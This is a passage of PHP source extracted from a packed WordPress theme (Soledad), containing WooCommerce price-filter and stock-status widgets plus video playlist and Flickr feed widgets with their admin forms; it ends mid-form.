			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as range_count";
			$query['from']   = "FROM {$wpdb->posts}";

			$query['join'] = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				INNER JOIN {$wpdb->wc_product_meta_lookup} ON ( {$wpdb->posts}.ID = {$wpdb->wc_product_meta_lookup}.product_id )
				" . $tax_query_sql['join'];


			$query['where'] = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				AND {$wpdb->wc_product_meta_lookup}.min_price >= '" . $min . "' AND {$wpdb->wc_product_meta_lookup}.max_price <= '" . $max . "'
				" . $tax_query_sql['where'] . "
			";

			if ( method_exists( 'WC_Query', 'get_main_search_query_sql' ) && $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->wc_product_meta_lookup} ml on p.ID = ml.product_id and ml.sku LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT product_id FROM {$wpdb->wc_product_meta_lookup} WHERE sku LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query   = implode( ' ', $query );
			$results = $wpdb->get_var( $query );

			return $results > 0;
		}

		function form( $instance ) {
			parent::form( $instance );
		}
	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Widget_Price_Filter' );
	} );
}
PK     2w\QBJF  JF    widgets/video_playlist.phpnu [        <?php
add_action('widgets_init', 'penci_videoplaylist_widget');

function penci_videoplaylist_widget()
{
    register_widget('Penci_Video_Playlist_Widget');
}

if (!class_exists('Penci_Video_Playlist_Widget')) {
    class Penci_Video_Playlist_Widget extends WP_Widget
    {

        /**
         * Widget setup.
         */
        function __construct()
        {
            $widget_ops = array(
                'classname' => 'penci_videoplaylist_widget',
                'description' => esc_html__('Video playlist block', 'soledad')
            );
            $control_ops = array('id_base' => 'penci_videoplaylist_widget');

            global $wp_version;
            if (4.3 > $wp_version) {
                $this->WP_Widget('penci_videoplaylist_widget', penci_get_theme_name('.Soledad', true) . esc_html__('Penci Video Playlist', 'soledad'), $widget_ops, $control_ops);
            } else {
                parent::__construct('penci_videoplaylist_widget', penci_get_theme_name('.Soledad', true) . esc_html__('Penci Video Playlist', 'soledad'), $widget_ops, $control_ops);
            }
        }

        public function widget($args, $instance)
        {
            if (!isset($args['widget_id'])) {
                $args['widget_id'] = $this->id;
            }

            $title = isset($instance['title']) ? $instance['title'] : '';
            $title = apply_filters('widget_title', $title);

            $defaults = array(
                'title' => esc_html__('Video Playlist', 'soledad'),
                'video_type' => '',
                'yplaylist_id' => '',
                'yplaylist_limit' => 5,
                'penci_block_width' => 3,
                'videos_list' => '',
                'hide_duration' => '',
                'hide_order_number' => '',
                'video_list_title' => '',
                'video_title_length' => 10,
                'block_id' => rand(1000, 100000),
            );

            $settings = wp_parse_args((array)$instance, $defaults);

            if ((!$settings['videos_list'] && $settings['video_type'] == 'custom') || ($settings['video_type'] == 'youtube_playlist' && !$settings['yplaylist_id'])) {
                return;
            }
            ?>
            <?php echo $args['before_widget']; ?>
            <?php
            if ($title && !$settings['video_list_title']) {
                echo $args['before_title'] . $title . $args['after_title'];
            }
            $css_class = 'penci-block-vc penci-video_playlist';
            $css_class .= ' pencisc-column-1';
            ?>
            <div class="<?php echo esc_attr($css_class); ?>">
                <div class="penci-block_content">
                    <?php

                    if (!get_theme_mod('penci_youtube_api_key') && preg_match("#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $settings['videos_list'], $matches)) {
                        echo '<strong>Youtube Api key</strong> is empty. Please go to Customize > General > Extra Options > YouTube API Key and enter an api key :)';
                    }

                    $cache_name = 'penci-shortcode-playlist-' . $settings['video_type'] . '-' . $settings['block_id'];
                    $cache_key = 'penci-shortcode-playlist-key' . $settings['video_type'] . '-' . $settings['block_id'];

                    $videos = preg_split('/\r\n|[\r\n]/', $settings['videos_list']);
                    $videos_list = get_transient($cache_name);
                    $videos_list_key = get_transient($cache_key);
                    $rand_video_list = rand(1000, 100000);


                    if ($settings['video_type'] != 'youtube_playlist' && (empty($videos_list) || $settings['videos_list'] != $videos_list_key)) {
                        $videos_list = \Penci_Video_List::get_video_infos($videos);
                        set_transient($cache_name, $videos_list, 18000);
                        set_transient($cache_key, $settings['videos_list'], 18000);
                    }

                    if ($settings['video_type'] == 'youtube_playlist' && (empty($videos_list) || $settings['yplaylist_id'] != $videos_list_key)) {
                        $videos_list = \Penci_Video_List::get_playlist_videos_ids($settings['yplaylist_id'], $settings['yplaylist_limit']);
                        set_transient($cache_name, $videos_list, 18000);
                        set_transient($cache_key, $settings['videos_list'], 18000);
                    }

                    $videos_count = is_array($videos_list) ? count((array)$videos_list) : 0;


                    if (!empty($videos_list)): ?>
                        <div class="penci-video-play">
                            <?php foreach ((array)$videos_list as $key => $video): ?>
                                <?php
                                if ($key > 0) {
                                    continue;
                                }
                                ?>
                                <div class="fluid-width-video-wrapper">
                                    <iframe class="penci-video-frame"
                                            id="video-<?php echo esc_attr($rand_video_list) ?>-1"
                                            src="<?php echo esc_attr($video['id']) ?>" width="339"
                                            height="191"></iframe>
                                </div>
                            <?php endforeach; ?>
                        </div>
                        <div class="penci-video-nav">
                            <?php if ($title && $settings['video_list_title']): ?>
                                <div class="penci-playlist-title">
                                    <div class="playlist-title-icon"><?php penci_fawesome_icon('fas fa-play'); ?></span></div>
                                    <h2><?php echo $title; ?></h2>
                                    <span class="penci-videos-number">
								<span class="penci-video-playing">1</span> /
								<span class="penci-video-total"><?php echo($videos_count) ?></span>
										<?php
                                        if (function_exists('penci_get_tran_setting')) {
                                            echo penci_get_tran_setting('penci_social_video_text');
                                        } else {
                                            esc_html_e('Videos', 'soledad');
                                        }
                                        ?>
								</span>
                                </div>
                            <?php endif; ?>
                            <?php
                            $class_nav = (!empty($settings['title']) && $settings['video_list_title']) ? ' playlist-has-title' : '';
                            $class_nav .= $videos_count > 3 ? ' penci-custom-scroll' : '';

                            $direction = is_rtl() ? ' dir="rtl"' : '';
                            ?>
                            <div class="penci-video-playlist-nav<?php echo esc_attr($class_nav); ?>"<?php echo($direction); ?>>
                                <?php
                                $video_number = 0;
                                foreach ($videos_list as $video):
                                    $video_number++;
                                    ?>
                                    <a data-name="video-<?php echo esc_attr($rand_video_list . '-' . $video_number) ?>"
                                       data-src="<?php echo esc_attr($video['id']) ?>"
                                       class="penci-video-playlist-item penci-video-playlist-item-<?php echo esc_attr($video_number); ?>">
							<span class="penci-media-obj">
								<span class="penci-mobj-img">
									<?php if (!$settings['hide_order_number']): ?>
                                        <span class="playlist-panel-item penci-video-number"><?php echo esc_attr($video_number) ?></span>
                                        <span class="playlist-panel-item penci-video-play-icon"><?php penci_fawesome_icon('fas fa-play'); ?></span>
                                        <span class="playlist-panel-item penci-video-paused-icon"><?php penci_fawesome_icon('fas fa-pause'); ?></span>
                                    <?php
                                    endif;
                                    $dis_lazy = get_theme_mod('penci_disable_lazyload_layout');
                                    if ($dis_lazy) {
                                        $class_lazy = ' penci-disable-lazy';
                                        $data_src = 'style="background-image: url(' . esc_url($video['thumb']) . ');"';
                                    } else {
                                        $class_lazy = ' penci-lazy';
                                        $data_src = 'data-bgset="' . esc_url($video['thumb']) . '"';
                                    }

                                    printf('<span class="penci-image-holder penci-video-thumbnail%s" %s><span class="screen-reader-text">%s</span></span>', $class_lazy, $data_src, esc_html__('Thumbnail youtube', 'soledad'));
                                    ?>
								</span>
								<span class="penci-mobj-body">
									<span class="penci-video-title"
                                          title="<?php echo esc_attr($video['title']); ?>"><?php echo wp_trim_words($video['title'], $settings['video_title_length'], '...'); ?></span>
									<?php if (!$settings['hide_duration']): ?>
                                        <span class="penci-video-duration"><?php echo esc_attr($video['duration']) ?></span>
                                    <?php endif; ?>
								</span>
							</span>
                                    </a>
                                <?php endforeach;
                                ?>
                            </div>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
            <?php
            echo $args['after_widget'];
        }

        /**
         * Update the widget settings.
         */
        function update($new_instance, $old_instance)
        {
            $instance = $old_instance;

            $data_instance = $this->soledad_widget_defaults();

            foreach ($data_instance as $data => $value) {
                $instance[$data] = !empty($new_instance[$data]) ? $new_instance[$data] : '';
            }

            return $instance;
        }

        public function soledad_widget_defaults()
        {
            $defaults = array(
                'title' => esc_html__('Video Playlist', 'soledad'),
                'video_type' => '',
                'yplaylist_id' => '',
                'yplaylist_limit' => 5,
                'videos_list' => '',
                'hide_duration' => '',
                'hide_order_number' => '',
                'video_list_title' => '',
                'video_title_length' => 10,
                'block_id' => rand(1000, 100000)
            );

            return $defaults;
        }

        function form($instance)
        {
            $defaults = $this->soledad_widget_defaults();
            $instance = wp_parse_args((array)$instance, $defaults);

            $instance_title = $instance['title'] ? str_replace('"', '&quot;', $instance['title']) : '';
            $video_title_length = isset($instance['video_title_length']) ? absint($instance['video_title_length']) : 10;
            $hide_duration = isset($instance['hide_duration']) ? (bool)$instance['hide_duration'] : false;
            $hide_order_number = isset($instance['hide_order_number']) ? (bool)$instance['hide_order_number'] : false;
            $video_list_title = isset($instance['video_list_title']) ? (bool)$instance['video_list_title'] : false;
            ?>

            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('title')); ?>">Block title:</label>
                <input id="<?php echo esc_attr($this->get_field_id('title')); ?>" class="widefat" type="text"
                       name="<?php echo esc_attr($this->get_field_name('title')); ?>"
                       value="<?php echo $instance_title; ?>">
                <span class="penci-widget-desc">A title for this block, if you leave it blank the block will not have a title</span>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('video_type')); ?>">Video Type:</label>
                <select id="<?php echo esc_attr($this->get_field_id('video_type')); ?>"
                        name="<?php echo esc_attr($this->get_field_name('video_type')); ?>"
                        class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ('' == $instance['video_type']) {
                        echo 'selected="selected"';
                    } ?>>Custom
                    </option>
                    <option value='youtube_playlist' <?php if ('youtube_playlist' == $instance['video_type']) {
                        echo 'selected="selected"';
                    } ?>>Youtube Playlist
                    </option>
                </select>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('yplaylist_id')); ?>">Youtube Playlist
                    ID</label>
                <input type="text" id="<?php echo esc_attr($this->get_field_id('yplaylist_id')); ?>" class="widefat"
                       name="<?php echo esc_attr($this->get_field_name('yplaylist_id')); ?>"
                       value="<?php echo $instance['yplaylist_id']; ?>">
                <span class="penci-widget-desc">Enter Youtube Playlist ID or Playlist URL.</span>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('yplaylist_limit')); ?>">Youtube Playlist
                    Maxium Items:</label>
                <input type="number" id="<?php echo esc_attr($this->get_field_id('yplaylist_limit')); ?>"
                       class="widefat"
                       name="<?php echo esc_attr($this->get_field_name('yplaylist_limit')); ?>"
                       value="<?php echo $instance['yplaylist_limit']; ?>">
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('videos_list')); ?>">Custom Videos List</label>
                <textarea id="<?php echo esc_attr($this->get_field_id('videos_list')); ?>" class="widefat"
                          name="<?php echo esc_attr($this->get_field_name('videos_list')); ?>"><?php echo $instance['videos_list']; ?></textarea>
                <span class="penci-widget-desc">Enter each video url in a seprated line. Supports: YouTube and Vimeo videos only.<br><span
                            style="color: red;font-weight: bold;">Note Important</span>: If  you use video come from youtube, please go to Customize &gt; General Options &gt; YouTube API Key and enter an api key.</span>
            </p>
            <p class="penci-field-item penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12">
                <label for="widget-penci-widget__videos_playlist-2-heading_meta_settings">Extra settings</label>
            </p>
            <p class="penci-field-item vc_col-sm-6">
                <label for="<?php echo esc_attr($this->get_field_id('video_list_title')); ?>">Use Video PlayList
                    Title</label>
                <input class="penci-checkbox" id="<?php echo esc_attr($this->get_field_id('video_list_title')); ?>"
                       name="<?php echo esc_attr($this->get_field_name('video_list_title')); ?>"
                       type="checkbox"<?php checked($video_list_title); ?>>
            </p>
            <p class="penci-field-item vc_col-sm-6">
                <label for="<?php echo esc_attr($this->get_field_id('hide_duration')); ?>">Hide video
                    duration</label>
                <input class="penci-checkbox" id="<?php echo esc_attr($this->get_field_id('hide_duration')); ?>"
                       name="<?php echo esc_attr($this->get_field_name('hide_duration')); ?>"
                       type="checkbox"<?php checked($hide_duration); ?>>
            </p>
            <p class="penci-field-item vc_col-sm-6">
                <label for="<?php echo esc_attr($this->get_field_id('hide_order_number')); ?>">Hide video order
                    number</label>
                <input class="penci-checkbox" id="<?php echo esc_attr($this->get_field_id('hide_order_number')); ?>"
                       name="<?php echo esc_attr($this->get_field_name('hide_order_number')); ?>"
                       type="checkbox"<?php checked($hide_order_number); ?>>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('video_title_length')); ?>">Custom Title
                    Length:</label>
                <input id="<?php echo esc_attr($this->get_field_id('video_title_length')); ?>" class="widefat"
                       type="text" name="<?php echo esc_attr($this->get_field_name('video_title_length')); ?>"
                       value="<?php echo $video_title_length; ?>">
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('block_id')); ?>">Unique ID for Save & Clear
                    Caching</label>
                <input id="<?php echo esc_attr($this->get_field_id('block_id')); ?>" class="widefat" type="text"
                       name="<?php echo esc_attr($this->get_field_name('block_id')); ?>"
                       value="<?php echo sanitize_text_field($instance['block_id']); ?>">
            </p>
            <?php
        }
    }
}
?>PK     2w\k(  (     widgets/product_stock_status.phpnu [        <?php
if ( ! class_exists( 'Penci_Stock_Status' ) ) {
	class Penci_Stock_Status extends WPH_Widget {
		function __construct() {

			$args = array(
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'Stock status', 'soledad' ),
				'description' => esc_html__( 'Filter stock and on-sale products', 'soledad' ),
				'slug'        => 'penci-widget-stock-status',
			);

			$args['fields'] = array(
				array(
					'id'      => 'title',
					'type'    => 'text',
					'default' => esc_html__( 'Stock status', 'soledad' ),
					'name'    => esc_html__( 'Title', 'soledad' ),
				),

				array(
					'id'      => 'instock',
					'type'    => 'checkbox',
					'default' => 1,
					'name'    => esc_html__( 'On Sale filter', 'soledad' ),
				),

				array(
					'id'      => 'onsale',
					'type'    => 'checkbox',
					'default' => 1,
					'name'    => esc_html__( 'In Stock filter', 'soledad' ),
				),
			);

			$this->create_widget( $args );
			$this->hooks();
		}

		function hooks() {
			add_action( 'woocommerce_product_query', array( $this, 'show_in_stock_products' ) );
			add_filter( 'loop_shop_post_in', array( $this, 'show_on_sale_products' ) );
		}

		public function show_in_stock_products( $query ) {
			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();
			if ( in_array( 'instock', $current_stock_status ) ) {
				$meta_query = array(
					'relation' => 'AND',
					array(
						'key'     => '_stock_status',
						'value'   => 'instock',
						'compare' => '=',
					),
				);

				$query->set( 'meta_query', array_merge( WC()->query->get_meta_query(), $meta_query ) );
			}
		}

		public function show_on_sale_products( $ids ) {
			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();
			if ( in_array( 'onsale', $current_stock_status ) ) {
				$ids = array_merge( $ids, penci_get_product_ids_on_sale() );
			}

			return $ids;
		}

		function get_link( $status ) {
			$base_link            = penci_shop_page_link( true );
			$link                 = remove_query_arg( 'stock_status', $base_link );
			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();
			$option_is_set        = in_array( $status, $current_stock_status );

			if ( ! in_array( $status, $current_stock_status ) ) {
				$current_stock_status[] = $status;
			}

			foreach ( $current_stock_status as $key => $value ) {
				if ( $option_is_set && $value === $status ) {
					unset( $current_stock_status[ $key ] );
				}
			}

			if ( $current_stock_status ) {
				asort( $current_stock_status );
				$link = add_query_arg( 'stock_status', implode( ',', $current_stock_status ), $link );
				$link = str_replace( '%2C', ',', $link );
			}

			return $link;
		}

		function widget( $args, $instance ) {
			extract( $args );

			echo wp_kses_post( $before_widget );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $before_title ) . $title . wp_kses_post( $after_title );
			}

			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();

			?>
            <ul>
				<?php if ( $instance['onsale'] ) : ?>
					<?php $this->get_link( 'onsale' ); ?>
                    <li>
                        <a href="<?php echo esc_attr( $this->get_link( 'onsale' ) ); ?>"
                           class="<?php echo in_array( 'onsale', $current_stock_status ) ? 'current-active' : ''; ?>">
							<?php esc_html_e( 'On sale', 'soledad' ); ?>
                        </a>
                    </li>
				<?php endif; ?>

				<?php if ( $instance['instock'] ) : ?>
					<?php $this->get_link( 'instock' ); ?>
                    <li>
                        <a href="<?php echo esc_attr( $this->get_link( 'instock' ) ); ?>"
                           class="<?php echo in_array( 'instock', $current_stock_status ) ? 'current-active' : ''; ?>">
							<?php esc_html_e( 'In stock', 'soledad' ); ?>
                        </a>
                    </li>
				<?php endif; ?>
            </ul>
			<?php

			echo wp_kses_post( $after_widget );
		}

		function form( $instance ) {
			parent::form( $instance );
		}
	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Stock_Status' );
	} );
}

PK     2w\2A  A    widgets/flickr.phpnu [        <?php
add_action( 'widgets_init', 'penci_flickr_feed_widget' );

if ( ! function_exists( 'penci_flickr_feed_widget' ) ) {
	function penci_flickr_feed_widget() {
		register_widget( 'Penci_Flickr_Feed_Widget' );
	}
}

if ( ! class_exists( 'Penci_Flickr_Feed_Widget' ) ) {
	class Penci_Flickr_Feed_Widget extends WP_Widget {

		protected $default;

		function __construct() {
			$this->default = array(
				'title'            => __( 'Flickr', 'soledad' ),
				'template'         => 'thumbs-no-border',
				'images_link'      => 'image_url',
				'username'         => '',
				'custom_url'       => '',
				'orderby'          => 'rand',
				'images_number'    => 9,
				'columns'          => 3,
				'refresh_hour'     => 12,
				'image_size'       => 'jr_insta_square',
				'image_link_rel'   => '',
				'image_link_class' => '',
				'controls'         => 'prev_next',
				'caption_words'    => 20,
				'slidespeed'       => 7000,
				'description'      => array( 'username', 'time', 'caption' ),
			);

			$widget_ops  = array(
				'classname'   => 'penci-flickr-slider',
				'description' => esc_html__( 'A widget that displays thumbnails or a slider with flickr images', 'soledad' )
			);
			$control_ops = array( 'id_base' => 'penci-flickr-slider' );

			parent::__construct( 'penci-flickr-slider', penci_get_theme_name( '.Soledad', true ) . ' ' . esc_html__( 'Flickr Feed', 'soledad' ), $widget_ops, $control_ops );

		}

		function widget( $args, $instance ) {
			$instance = wp_parse_args( $instance, $this->default );
			extract( $args );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			$title = apply_filters( 'widget_title', $instance['title'] );
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			require_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/flickr_feed.php';

			Penci_Flickr_Feed::display_images( $instance );

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$instance['title']            = isset( $new_instance['title'] ) && $new_instance['title'] ? $new_instance['title'] : '';
			$instance['username']         = isset( $new_instance['username'] ) && $new_instance['username'] ? $new_instance['username'] : '';
			$instance['template']         = isset( $new_instance['template'] ) && $new_instance['template'] ? $new_instance['template'] : '';
			$instance['images_link']      = isset( $new_instance['images_link'] ) && $new_instance['images_link'] ? $new_instance['images_link'] : '';
			$instance['custom_url']       = isset( $new_instance['custom_url'] ) && $new_instance['custom_url'] ? $new_instance['custom_url'] : '';
			$instance['orderby']          = isset( $new_instance['orderby'] ) && $new_instance['orderby'] ? $new_instance['orderby'] : '';
			$instance['images_number']    = isset( $new_instance['images_number'] ) && $new_instance['images_number'] ? $new_instance['images_number'] : '';
			$instance['columns']          = isset( $new_instance['columns'] ) && $new_instance['columns'] ? $new_instance['columns'] : '';
			$instance['refresh_hour']     = isset( $new_instance['refresh_hour'] ) && $new_instance['refresh_hour'] ? $new_instance['refresh_hour'] : '';
			$instance['image_size']       = isset( $new_instance['image_size'] ) && $new_instance['image_size'] ? $new_instance['image_size'] : '';
			$instance['image_link_rel']   = isset( $new_instance['image_link_rel'] ) && $new_instance['image_link_rel'] ? $new_instance['image_link_rel'] : '';
			$instance['image_link_class'] = isset( $new_instance['image_link_class'] ) && $new_instance['image_link_class'] ? $new_instance['image_link_class'] : '';
			$instance['controls']         = isset( $new_instance['controls'] ) && $new_instance['controls'] ? $new_instance['controls'] : '';
			$instance['caption_words']    = isset( $new_instance['caption_words'] ) && $new_instance['caption_words'] ? $new_instance['caption_words'] : '';
			$instance['slidespeed']       = isset( $new_instance['slidespeed'] ) && $new_instance['slidespeed'] ? $new_instance['slidespeed'] : '';
			$instance['description']      = isset( $new_instance['description'] ) && $new_instance['description'] ? $new_instance['description'] : '';

			return $instance;
		}

		function form( $instance ) {
			$instance       = wp_parse_args( $instance, $this->default );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$username       = $instance['username'] ? $instance['username'] : '';
			?>
            <div class="penci-flickr-container">
                <p>
                    <label for="<?php echo $this->get_field_id( 'title' ); ?>"><strong><?php _e( 'Title:', 'soledad' ); ?></strong></label>
                    <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>"
                           name="<?php echo $this->get_field_name( 'title' ); ?>"
                           value="<?php echo $instance_title; ?>"/>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'username' ); ?>"><strong><?php _e( 'Flickr ID:', 'soledad' ); ?></strong></label>
                    <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'username' ); ?>"
                           name="<?php echo $this->get_field_name( 'username' ); ?>"
                           value="<?php echo $username; ?>"/>
                    <span style="display: block;margin-top: 10px"><?php _e( 'The username ID follows this format: 12341234@N12. You can visit <a target="_blank" href="https://idgettr.com">idgettr.com</a> to convert the username into an ID.', 'soledad' ); ?></span>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_number' ); ?>"><strong><?php _e( 'Number of images to show:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'images_number' ); ?>"
                               name="<?php echo $this->get_field_name( 'images_number' ); ?>"
                               value="<?php echo $instance['images_number']; ?>"/>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"><strong><?php _e( 'Check for new images every:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"
                               name="<?php echo $this->get_field_name( 'refresh_hour' ); ?>"
                               value="<?php echo $instance['refresh_hour']; ?>"/>
                        <span><?php _e( 'hours', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'template' ); ?>"><strong><?php _e( 'Template', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'template' ); ?>"
                                id="<?php echo $this->get_field_id( 'template' ); ?>">
                            <option value="thumbs-no-border" <?php echo ( $instance['template'] == 'thumbs-no-border' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails - Without Border', 'soledad' ); ?></option>
                            <option value="thumbs" <?php echo ( $instance['template'] == 'thumbs' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails', 'soledad' ); ?></option>
                            <option value="slider" <?php echo ( $instance['template'] == 'slider' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Normal', 'soledad' ); ?></option>
                            <option value="slider-overlay" <?php echo ( $instance['template'] == 'slider-overlay' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Overlay Text', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'thumbs' != $instance['template'] && 'thumbs-no-border' != $instance['template'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'columns' ); ?>"><strong><?php _e( 'Number of Columns:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'columns' ); ?>"
                               name="<?php echo $this->get_field_name( 'columns' ); ?>"
                               value="<?php echo $instance['columns']; ?>"/>
                        <span class='penci-description'><?php _e( 'max is 10 ( only for thumbnails template )', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><strong><?php _e( 'Order by', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'orderby' ); ?>"
                                id="<?php echo $this->get_field_id( 'orderby' ); ?>">
                            <option value="date-ASC" <?php selected( $instance['orderby'], 'date-ASC', true ); ?>><?php _e( 'Date - Ascending', 'soledad' ); ?></option>
                            <option value="date-DESC" <?php selected( $instance['orderby'], 'date-DESC', true ); ?>><?php _e( 'Date - Descending', 'soledad' ); ?></option>
                            <option value="popular-ASC" <?php selected( $instance['orderby'], 'popular-ASC', true ); ?>><?php _e( 'Popularity - Ascending', 'soledad' ); ?></option>
                            <option value="popular-DESC" <?php selected( $instance['orderby'], 'popular-DESC', true ); ?>><?php _e( 'Popularity - Descending', 'soledad' ); ?></option>
                            <option value="rand" <?php selected( $instance['orderby'], 'rand', true ); ?>><?php _e( 'Random', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_link' ); ?>"><strong><?php _e( 'Link to', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'images_link' ); ?>"
                                id="<?php echo $this->get_field_id( 'images_link' ); ?>">
                            <option value="image_url" <?php selected( $instance['images_link'], 'image_url', true ); ?>><?php _e( 'Flickr Image', 'soledad' ); ?></option>
                            <option value="user_url" <?php selected( $instance['images_link'], 'user_url', true ); ?>><?php _e( 'Flickr Profile', 'soledad' ); ?></option>
                            <option value="attachment" <?php selected( $instance['images_link'], 'attachment', true ); ?>><?php _e( 'Attachment Page', 'soledad' ); ?></option>
                            <option value="none" <?php selected( $instance['images_link'], 'none', true ); ?>><?php _e( 'None', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'custom_url' != $instance['images_link'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'custom_url' ); ?>"><?php _e( 'Custom link:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo $this->get_field_id( 'custom_url' ); ?>"
                           name="<?php echo $this->get_field_name( 'custom_url' ); ?>"
                           value="<?php echo $instance['custom_url']; ?>"/>
                    <span><?php _e( '* use this field only if the above option is set to <strong>Custom Link</strong>', 'soledad' ); ?></span>
                </p>
                <div class="penci-advanced-input">
                    <div class="penci-slider-options <?php if ( 'thumbs' == $instance['template'] || 'thumbs-no-border' == $instance['template'] ) {
						echo 'hidden';
					} ?>">
                        <h4 class="penci-advanced-title"><?php _e( 'Advanced Slider Options', 'soledad' ); ?></h4>
                        <p>
							<?php _e( 'Slider Navigation Controls:', 'soledad' ); ?><br>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="prev_next" <?php checked( 'prev_next', $instance['controls'] ); ?> /> <?php _e( 'Prev & Next', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="numberless" <?php checked( 'numberless', $instance['controls'] ); ?> /> <?php _e( 'Dotted', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="none" <?php checked( 'none', $instance['controls'] ); ?> /> <?php _e( 'No Navigation', 'soledad' ); ?>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'caption_words' ); ?>"><?php _e( 'Number of words in caption:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'caption_words' ); ?>"
                                       name="<?php echo $this->get_field_name( 'caption_words' ); ?>"
                                       value="<?php echo $instance['caption_words']; ?>"/>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'slidespeed' ); ?>"><?php _e( 'Slide Speed:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'slidespeed' ); ?>"
                                       name="<?php echo $this->get_field_name( 'slidespeed' ); ?>"
                                       value="<?php echo $instance['slidespeed']; ?>"/>
